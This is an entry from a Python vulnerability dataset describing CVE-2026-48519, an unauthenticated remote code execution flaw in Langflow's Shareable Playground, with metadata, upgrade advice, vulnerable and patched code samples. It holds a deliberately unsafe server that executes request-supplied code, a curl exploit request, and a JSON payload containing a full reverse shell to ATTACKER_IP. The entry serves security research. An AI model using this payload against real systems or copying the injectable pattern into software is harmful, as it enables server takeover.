CVE-2026-48519
Unauthenticated RCE in Langflow Shareable Playground via code injection.
- CVSS 9.6
- CWE-94
- Input Validation and Sanitization
- Remote
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.2, the "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload. The vulnerable field is data.nodes[X].data.node.template.code.value. This vulnerability is fixed in 1.9.2.
- CWE
- CWE-94
- CVSS base score
- 9.6
- Published
- 2026-06-23
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Langflow
- Fixed by upgrading
- Yes
Solution
Upgrade to Langflow version 1.9.2 or later.
Vulnerable code sample
import flask
from flask import request, jsonify
import json
# This is a simplified representation of the vulnerable Langflow server.
# The actual application is more complex, but this code demonstrates the core
# of the RCE vulnerability described in CVE-2026-48519.
app = flask.Flask(__name__)
# The vulnerable endpoint that allows unauthenticated users to execute a "public flow".
# It incorrectly trusts and executes Python code provided in the request payload.
@app.route("/api/v1/build_public_tmp", methods=["POST"])
def build_public_tmp():
payload = request.get_json()
results = {}
try:
# The payload contains a graph of nodes to be executed.
graph_data = payload.get("data", {})
nodes = graph_data.get("nodes", [])
for node_data in nodes:
# The vulnerability lies here: the server extracts Python code directly
# from the user-provided JSON payload.
# Path: data.nodes[X].data.node.template.code.value
code_to_execute = node_data.get("data", {}).get("node", {}).get("template", {}).get("code", {}).get("value")
if code_to_execute:
# CRITICAL VULNERABILITY: Unsafe execution of arbitrary code from the request.
# An attacker can provide any Python code in the 'value' field.
# For example: "__import__('os').system('touch /tmp/pwned')"
print(f"Executing untrusted code: {code_to_execute}")
local_scope = {}
# The 'exec' function runs the untrusted code on the server.
exec(code_to_execute, globals(), local_scope)
# Capture results if any for the response
node_id = node_data.get("id")
results[node_id] = local_scope.get("result", "Code executed, no result captured.")
return jsonify({"message": "Flow executed successfully", "results": results}), 200
except Exception as e:
return jsonify({"error": str(e)}), 500
# To run this example:
# 1. Install Flask: pip install Flask
# 2. Run this script: python your_script_name.py
# 3. Send a malicious POST request using a tool like curl:
#
# curl -X POST http://127.0.0.1:5000/api/v1/build_public_tmp \
# -H "Content-Type: application/json" \
# -d '{
# "data": {
# "nodes": [
# {
# "id": "exploit_node",
# "data": {
# "node": {
# "template": {
# "code": {
# "value": "import os\nresult = os.popen(\"id\").read()"
# }
# }
# }
# }
# }
# ]
# }
# }'
#
# The server will execute the `os.popen("id").read()` command and return the output.
if __name__ == "__main__":
app.run(debug=True)Patched code sample
import os
# This example represents a hypothetical fix for the described vulnerability.
# The core principle of the fix is to stop executing code sent in the request payload
# for public flows and instead use the code already stored on the server for that flow.
# --- DATA STRUCTURES SIMULATING THE APPLICATION'S STATE ---
# Simulate a database table of trusted, pre-approved public flows.
# In a real application, this would be fetched from a database (e.g., PostgreSQL, SQLite).
# The key is the flow's public ID, and the value is the trusted flow data.
TRUSTED_PUBLIC_FLOWS_DB = {
"public_flow_id_12345": {
"name": "Greeting Flow",
"nodes": [
{
"id": "node_A",
"data": {
"node": {
"template": {
"code": {
# This is the trusted, server-side code. It cannot be
# overridden by the API request.
"value": "print('Executing trusted code from Node A: Hello, World!')"
}
}
}
}
}
]
}
}
# --- VULNERABLE FUNCTION (FOR ILLUSTRATION) ---
def build_public_flow_vulnerable(payload: dict):
"""
Represents the vulnerable behavior where code from the payload is executed.
An attacker could provide a malicious payload to achieve RCE.
"""
print("--- RUNNING VULNERABLE VERSION ---")
try:
# The vulnerability: The code is taken directly from the user's JSON payload.
code_from_payload = payload['data']['nodes'][0]['data']['node']['template']['code']['value']
print(f"Executing code received from payload: '{code_from_payload}'")
exec(code_from_payload)
except Exception as e:
print(f"An error occurred: {e}")
print("-" * 20 + "\n")
# --- FIXED FUNCTION ---
def build_public_flow_fixed(flow_id: str, payload: dict):
"""
Represents the fixed behavior. It ignores the code in the user-provided
payload and only executes the code stored on the server for the given flow_id.
"""
print("--- RUNNING FIXED VERSION ---")
# 1. Fetch the trusted flow definition from the server's storage using the ID.
trusted_flow_data = TRUSTED_PUBLIC_FLOWS_DB.get(flow_id)
if not trusted_flow_data:
print(f"Error: Public flow with ID '{flow_id}' not found.")
return
# 2. THE FIX: Iterate through the nodes from the TRUSTED, server-side data.
# The `payload` from the user is ignored for sourcing executable code.
for node_data in trusted_flow_data.get("nodes", []):
try:
# 3. Get the code from the trusted source, NOT the user's payload.
trusted_code = node_data['data']['node']['template']['code']['value']
print(f"Executing trusted code for node '{node_data['id']}': '{trusted_code}'")
# 4. Safely execute the pre-approved code.
exec(trusted_code)
except Exception as e:
print(f"An error occurred while executing trusted code: {e}")
print("-" * 20 + "\n")
# --- DEMONSTRATION ---
if __name__ == "__main__":
# A malicious payload trying to exploit the vulnerability.
# The attacker wants to list directory contents on the server.
malicious_payload = {
"data": {
"nodes": [
{
"data": {
"node": {
"template": {
"code": {
# This is the injected malicious code.
"value": "print('Malicious code executed!'); import os; print(os.listdir('.'))"
}
}
}
}
}
]
}
}
# A legitimate, but user-submitted payload. The 'code' field should be ignored.
legitimate_payload = {
"data": {
"nodes": [
{
"data": {
"node": {
"template": {
"code": {
"value": "print('This code should be ignored.')"
}
}
}
}
}
]
}
}
# Simulate the API call to the vulnerable endpoint.
# The malicious code will be executed.
build_public_flow_vulnerable(malicious_payload)
# Simulate the API call to the fixed endpoint.
# The `code` from the payload is ignored, and only the trusted,
# stored code for 'public_flow_id_12345' is executed.
build_public_flow_fixed(flow_id="public_flow_id_12345", payload=legitimate_payload)Payload
{
"data": {
"nodes": [
{
"id": "exploit_node",
"data": {
"node": {
"template": {
"code": {
"value": "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP', 4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')"
},
"_type": "CustomComponent"
},
"description": "RCE Payload",
"name": "RCE"
}
}
}
]
}
}
Cite this entry
@misc{vaitp:cve202648519,
title = {{Unauthenticated RCE in Langflow Shareable Playground via code injection.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48519},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48519/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
